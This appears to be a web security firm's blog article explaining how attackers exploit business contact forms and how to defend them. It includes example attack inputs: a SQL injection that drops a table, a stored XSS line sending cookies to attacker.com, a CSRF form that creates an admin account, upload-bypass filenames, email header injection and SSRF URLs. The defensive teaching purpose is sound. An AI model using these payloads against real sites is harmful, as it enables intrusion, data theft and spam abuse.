Every business website has a contact form. It is the simplest way for potential customers to reach you. It is also, in many cases, the simplest way for attackers to reach your server.
A contact form is an interface between the outside world and your web application. It accepts input from anyone on the internet and passes it to your server for processing. If that input is not properly validated and sanitized, the form becomes an attack vector. And most contact forms we audit on Swiss business websites are not properly secured.
This article covers the specific ways attackers exploit web forms, how to test your own forms for vulnerabilities, and what proper form security looks like.
How Forms Become Attack Vectors
A web form collects data and sends it to the server. The server then does something with that data: stores it in a database, sends it in an email, writes it to a file, or passes it to another service. Each of these operations can be exploited if the data is not properly handled.
The fundamental problem is trust. If your application trusts that the data coming from a form is safe and well-formatted, an attacker will send data that is neither safe nor well-formatted. The application processes it anyway, and bad things happen.
Client-Side Validation Is Not Security
Many developers (and many web agencies in Ticino) implement form validation only in the browser using JavaScript. This provides a good user experience (instant feedback on errors), but it provides zero security. An attacker can bypass client-side validation by disabling JavaScript in their browser, using a tool like curl or Burp Suite to send requests directly to the server, or modifying the page source to remove validation before submitting.
Client-side validation is for usability. Server-side validation is for security. You need both.
SQL Injection Through Form Fields
SQL injection (SQLi) is one of the oldest and most well-known web vulnerabilities, and it remains one of the most common. It happens when form input is inserted directly into a SQL database query without parameterization.
How It Works
Your contact form has fields: name, email, message. When the form is submitted, the server might store the data with a query like:
INSERT INTO contacts (name, email, message) VALUES ('$name', '$email', '$message')
If an attacker submits a specially crafted value as their name:
'); DROP TABLE contacts; --
The resulting query becomes:
INSERT INTO contacts (name, email, message) VALUES (''); DROP TABLE contacts; --', 'email', 'message')
The database executes two commands: an insert and a DROP TABLE that deletes your entire contacts table. The -- comments out the rest of the query so it does not cause a syntax error.
This is the classic example. Real attacks are more subtle. Attackers use techniques like UNION-based injection to extract data from other tables, blind SQLi to extract data one bit at a time through boolean or time-based responses, and stacked queries to execute arbitrary SQL commands.
What an Attacker Can Do with SQLi Through Your Contact Form
- Read your entire database: customer data, user credentials, orders, internal notes
- Modify data: change admin passwords, alter records, insert fake data
- Delete data: drop tables, truncate records
- In some configurations, read files from the server filesystem or write files (including web shells)
- In extreme cases, execute operating system commands through the database
The Fix
Use parameterized queries (prepared statements). Every modern programming language and database driver supports them. Instead of inserting user input directly into the query string, you pass it as a separate parameter that the database driver handles safely:
$stmt = $pdo->prepare('INSERT INTO contacts (name, email, message) VALUES (?, ?, ?)');
$stmt->execute([$name, $email, $message]);
The database treats the parameters as data, never as SQL code, regardless of what the user submits. This eliminates SQL injection entirely for that query.
Cross-Site Scripting (XSS) via Input Fields
XSS through forms works when user-submitted data is displayed on a page without proper encoding. If someone submits JavaScript code through your contact form and that submission is later displayed (in an admin panel, a public comment section, or a confirmation page), the script executes in the browser of anyone viewing it.
Stored XSS Through Contact Forms
Scenario: your contact form stores submissions in a database. When you or your team view submissions in an admin panel, the name, email, and message fields are rendered as HTML. An attacker submits:
Name: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
When an admin views this submission, their browser executes the script, which sends their session cookie to the attacker. The attacker now has the admin's session and can log into your CMS as the administrator.
This is stored XSS because the malicious script is permanently stored in your database and executes every time someone views it.
The Fix
Output encoding. Every time you display user-submitted data, encode HTML special characters: < becomes <, > becomes >, & becomes &, etc. Modern template engines (Twig, Blade, React JSX, Jinja2) do this by default. If you are using raw HTML output, you are doing it wrong.
Additionally, implement a Content-Security-Policy (CSP) header that restricts script execution. Even if XSS gets through your encoding, a proper CSP prevents the injected script from loading external resources. See our guide on the OWASP Top 10 vulnerabilities for the broader context.
File Upload Vulnerabilities in Attachment Fields
Many contact forms allow file attachments: CV uploads on job application forms, document uploads on support forms, image uploads on feedback forms. File upload is one of the highest-risk features on any website.
The Attack
An attacker uploads a PHP file (or any server-side script) disguised as an image or document. If the server does not properly validate the file, the attacker can then access the uploaded file through its URL, and the server executes it as code rather than serving it as a static file.
Common bypass techniques:
- Double extension:
malware.php.jpg- Some servers will execute this as PHP if configured incorrectly. - MIME type spoofing: Setting the Content-Type header to
image/jpegwhile uploading a PHP file. Client-side and basic server-side checks that only look at the MIME type are bypassed. - Null byte injection:
malware.php%00.jpg- In older versions of PHP and other languages, the null byte terminates the string, so the file is saved asmalware.php. - Case manipulation:
malware.PhPormalware.pHp- Bypasses case-sensitive extension blacklists on case-insensitive filesystems. - .htaccess upload: Uploading a .htaccess file that reconfigures the server to execute .jpg files as PHP.
The Fix
- Validate file content, not just extensions or MIME types. Check the actual file signature (magic bytes).
- Store uploaded files outside the web root so they cannot be accessed directly via URL.
- Rename uploaded files with a random name (UUID) so attackers cannot predict the URL.
- Set strict file size limits.
- Use a whitelist of allowed file types, not a blacklist of disallowed ones.
- Serve uploaded files through a separate domain or through a download script that sets the correct Content-Type and Content-Disposition headers.
- If possible, scan uploaded files with antivirus before accepting them.
Cross-Site Request Forgery (CSRF)
CSRF tricks a user into submitting a form they did not intend to submit. If your admin is logged into the website CMS and visits a malicious page (or even opens a malicious email with HTML content), that page can trigger a form submission to your website using the admin's session.
The Attack
The attacker places a hidden form on their website or in an email:
<form action="https://yoursite.ch/admin/add-user" method="POST">
<input type="hidden" name="username" value="hacker">
<input type="hidden" name="role" value="admin">
</form>
<script>document.forms[0].submit();</script>
When the admin's browser loads this page, it automatically submits the form to your website. Because the admin is logged in, the request includes their session cookie, and the server processes it as a legitimate admin action. A new admin account is created for the attacker.
The Fix
CSRF tokens. Every form on your website should include a unique, random token that the server generates and verifies. Since the attacker's page cannot read tokens from your website (due to the same-origin policy), they cannot include the correct token in their forged request.
Additionally, set the SameSite attribute on session cookies to Strict or Lax. This prevents the browser from sending the cookie in cross-site requests.
Email Header Injection
Most contact forms send their data via email. The form collects the user's name, email, and message, and the server sends an email to the site owner. If the email headers (To, From, CC, BCC, Subject) are constructed using unvalidated form input, an attacker can inject additional headers.
The Attack
The attacker enters the following in the email field:
attacker@example.com%0ABcc:victim1@example.com,victim2@example.com,victim3@example.com
The %0A is a newline character. The server constructs the email headers, and the attacker's input adds a BCC header. Your server now sends the email not only to you but to hundreds or thousands of addresses the attacker specified. Your server becomes a spam relay.
Why This Matters
- Your mail server gets blacklisted for sending spam.
- Your email deliverability drops. Legitimate business emails start landing in spam folders.
- Your domain reputation is damaged, which also affects your website's SEO.
- Your IP address may be listed on spam blacklists (RBLs), which are difficult and time-consuming to get removed from.
The Fix
Never use form input directly in email headers. Validate email addresses against a strict pattern. Strip newline characters (
,
, %0A, %0D) from all form input used in email headers. Use an email library (PHPMailer, SwiftMailer, Nodemailer) rather than raw mail() functions, as libraries handle header encoding safely.
Server-Side Request Forgery (SSRF) Through URL Fields
If your form accepts URLs (a website field, an avatar URL, a webhook URL), an attacker can submit URLs that point to internal resources instead of external websites.
The Attack
The attacker submits a URL like http://169.254.169.254/latest/meta-data/ (the AWS metadata endpoint) or http://localhost:3306/ (the local MySQL port). If the server fetches the URL or connects to it, the attacker can access internal services that are not exposed to the internet.
The Fix
Validate and restrict URL inputs. Whitelist allowed protocols (only http and https). Block private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). Resolve the hostname before making the request and check the resolved IP against the blocklist.
Spam and Automated Abuse
Even without exploiting a technical vulnerability, attackers abuse contact forms for mass spam delivery. Automated bots submit hundreds or thousands of form entries with advertising content, phishing links, or malware URLs. This floods your inbox, wastes your time, and if your form sends confirmation emails, turns your server into a spam relay.
CAPTCHA vs. Honeypot
CAPTCHA (like reCAPTCHA or hCaptcha) adds a challenge that bots cannot easily solve. It works but adds friction to the user experience. Some users find CAPTCHAs annoying or struggle with accessibility challenges.
Honeypot fields are hidden form fields that human users never see (they are hidden with CSS). Bots that fill in every field will fill the honeypot, and the server rejects submissions where the honeypot field is not empty. This is invisible to users but only catches simple bots. Sophisticated bots analyze the CSS and skip hidden fields.
Best practice: use both. A honeypot field for simple bots and a CAPTCHA (or JavaScript-based challenge) for sophisticated ones.
Rate Limiting
Limit the number of form submissions from a single IP address. For example: maximum 5 submissions per IP per hour. This prevents automated mass submissions without affecting legitimate users. Implement rate limiting at the server level (Nginx, Apache) or application level.
How to Test Your Own Forms Safely
You can perform basic tests on your own forms to check for obvious vulnerabilities. These tests are non-destructive and will not damage your website.
Test for XSS
In each form field, try submitting: <script>alert('test')</script>
Then check the admin panel or wherever submissions are displayed. If you see a JavaScript alert popup, your form is vulnerable to XSS. If you see the literal text <script>alert('test')</script> displayed as text, it is properly encoded.
Test for Email Header Injection
In the email field, submit: test@example.com%0ABcc:test2@example.com
If the system sends the email to both addresses, you have an email header injection vulnerability.
Test for Basic SQLi
In a text field, submit: test' OR '1'='1
If you see an error message mentioning SQL, MySQL, PostgreSQL, or a database error, the form may be vulnerable. If the submission is processed normally (the text is stored as-is), it is likely using parameterized queries.
Test for File Upload Issues
If your form has a file upload field, try uploading a file with a .php extension (containing harmless content like <?php echo 'test'; ?>). If the upload succeeds, try accessing the file through your browser. If the server executes the PHP and shows "test" instead of the source code, you have a file upload vulnerability.
These are basic tests. A thorough security assessment covers many more scenarios and techniques. If you want a professional evaluation of your website's forms, contact our team.
What Proper Form Security Looks Like
Here is a checklist for securing web forms:
| Security Measure | What It Prevents | Implementation |
|---|---|---|
| Server-side input validation | All injection attacks | Validate type, length, format, and allowed characters for every field |
| Parameterized queries | SQL injection | Use prepared statements for all database interactions |
| Output encoding | XSS | HTML-encode all user data before display |
| CSRF tokens | Cross-site request forgery | Include and verify unique tokens in every form |
| File upload validation | Remote code execution | Whitelist types, validate content, store outside webroot |
| Email header sanitization | Email header injection | Use email libraries, strip newlines from headers |
| Rate limiting | Spam, brute force | Limit submissions per IP per time period |
| CAPTCHA or honeypot | Automated spam | reCAPTCHA, hCaptcha, or hidden field technique |
| Content-Security-Policy header | XSS (defense in depth) | Restrict script execution sources |
| HTTPS only | Data interception | Encrypt all form data in transit |
For the broader picture of HTTP security headers, see our guide on security headers every website needs.
Real Examples from Ticino Businesses
Case 1: A Recruitment Agency
A recruitment agency in Ticino had a job application form that accepted CV uploads. The upload validation only checked the file extension client-side (JavaScript). An attacker uploaded a PHP web shell with a .pdf.php extension, bypassing the check. The web shell provided command-line access to the server, and the attacker extracted the database containing candidate personal information: names, addresses, phone numbers, work histories. This constituted a data breach under the nLPD.
Case 2: A Hospitality Business
A hotel's reservation form had no CSRF protection. An attacker used CSRF to modify reservation records and redirect confirmation emails. Guests received fake confirmation emails with different payment details. Several guests paid to the attacker's account before the fraud was discovered.
Case 3: A Professional Services Firm
A consulting firm's contact form had email header injection. Spammers used it to send over 50,000 spam emails through the company's mail server in a single weekend. The mail server IP was blacklisted on multiple RBLs. It took three weeks to get delisted, during which time the firm's legitimate business emails were bouncing or landing in spam.
What You Should Do Now
- Audit your forms. Run the basic tests described above. If any of them reveal vulnerabilities, address them immediately.
- Ask your developer or agency. Ask them specifically: "Are our form inputs validated server-side? Do we use parameterized queries? Do our forms have CSRF tokens? Is our file upload secure?" If they cannot answer confidently, you have a problem.
- Implement security headers. CSP, in particular, provides defense-in-depth against XSS even if your input validation has gaps.
- Get a professional assessment. Basic testing catches obvious issues. A professional penetration test finds the subtle ones. Reach out to our team for a thorough security assessment.
Your contact form is meant to connect you with customers. Make sure it is not also connecting you with attackers.
Want to know if your site is secure?
Request a free security audit. In 48 hours you get a complete report.
Request Free Audit